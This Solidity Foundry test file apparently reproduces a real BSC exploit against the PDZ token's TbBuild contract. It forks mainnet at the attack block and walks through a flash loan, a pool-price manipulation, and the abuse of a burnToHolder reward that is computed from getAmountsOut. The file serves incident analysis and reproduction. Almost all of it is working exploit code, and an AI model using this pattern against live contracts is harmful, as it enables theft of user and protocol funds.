src/test/2025-08/PDZ_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 3.3 BNB
8// Attacker : https://bscscan.com/address/0x48234fb95d4d3e5a09f3ec4dd57f68281b78c825
9// Attack Contract : https://bscscan.com/address/0x1dffe35fb021f124f04d1a654236e0879fa0cb81
10// Vulnerable Contract : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda
11// Attack Tx : https://bscscan.com/tx/0x81fd00eab3434eac93bfdf919400ae5ca280acd891f95f47691bbe3cbf6f05a5
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x664201579057f50D23820d20558f4b61bd80BDda#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/tikkalaresearch/status/1957500585965678828
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant PANCAKE_PAIR = 0x231d9e7181E8479A8B40930961e93E7ed798542C;
23address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
24address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant PDZ_TOKEN = 0x50F2B2a555e5Fa9E1bb221433DbA2331E8664A69;
26address constant TB_BUILD = 0x664201579057f50D23820d20558f4b61bd80BDda;
27 
28 
29contract PDZ is BaseTestWithBalanceLog {
30    uint256 blocknumToForkFrom = 57744491 - 1;
31 
32    function setUp() public {
33        vm.createSelectFork("bsc", blocknumToForkFrom);
34        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
35        fundingToken = address(0);
36    }
37 
38    function testExploit() public balanceLog {
39        // Step 1: borrow 10 WBNB
40        IPancakePair(PANCAKE_PAIR).swap(10 ether, 0, address(this), hex"00");
41    }
42 
43    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {
44        IERC20 wbnb = IERC20(WBNB_ADDR);
45        IERC20 pdz = IERC20(PDZ_TOKEN);
46        IPancakeRouter router = IPancakeRouter(payable(PANCAKE_ROUTER));
47 
48        wbnb.approve(address(router), type(uint256).max);
49        address[] memory WBNB_2_PDZ = new address[](2);
50        WBNB_2_PDZ[0] = WBNB_ADDR;
51        WBNB_2_PDZ[1] = PDZ_TOKEN;
52 
53        // Step 2: 10 WBNB -> PDZ
54        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 ether, 0, WBNB_2_PDZ, address(this), block.timestamp);
55 
56        address[] memory PDZ_2_WBNB = new address[](2);
57        PDZ_2_WBNB[0] = PDZ_TOKEN;
58        PDZ_2_WBNB[1] = WBNB_ADDR;
59 
60        uint256 amount = 5467668273;
61        ITbBuild tbBuild = ITbBuild(TB_BUILD);
62        // Step 3: burn PDZ burn for BNB reward
63        // The `burnToHolder` function calculates rewards using uniswapRouter.getAmountsOut,
64        // which makes deserved instantly manipulable by pool price manipulation.
65        tbBuild.burnToHolder(amount, address(0));
66        tbBuild.receiveRewards(address(this));
67 
68        uint256 pdzBal = pdz.balanceOf(address(this));
69        pdz.approve(PANCAKE_ROUTER, type(uint256).max);
70        // Step 4: PDZ -> WBNB
71        router.swapExactTokensForETHSupportingFeeOnTransferTokens(pdzBal, 0, PDZ_2_WBNB, address(this), block.timestamp);
72 
73        // Step 5: pay flash loan fee
74        uint256 paybackAmount = 10.25 ether + 1;
75        WBNB(WBNB_ADDR).deposit{value: paybackAmount}();
76        wbnb.transfer(PANCAKE_PAIR, paybackAmount);
77    }
78 
79    receive() external payable {}
80}
81 
82interface ITbBuild {
83    function burnToHolder(uint256 amount, address _invitation) external;
84    function receiveRewards(address to) external;
85}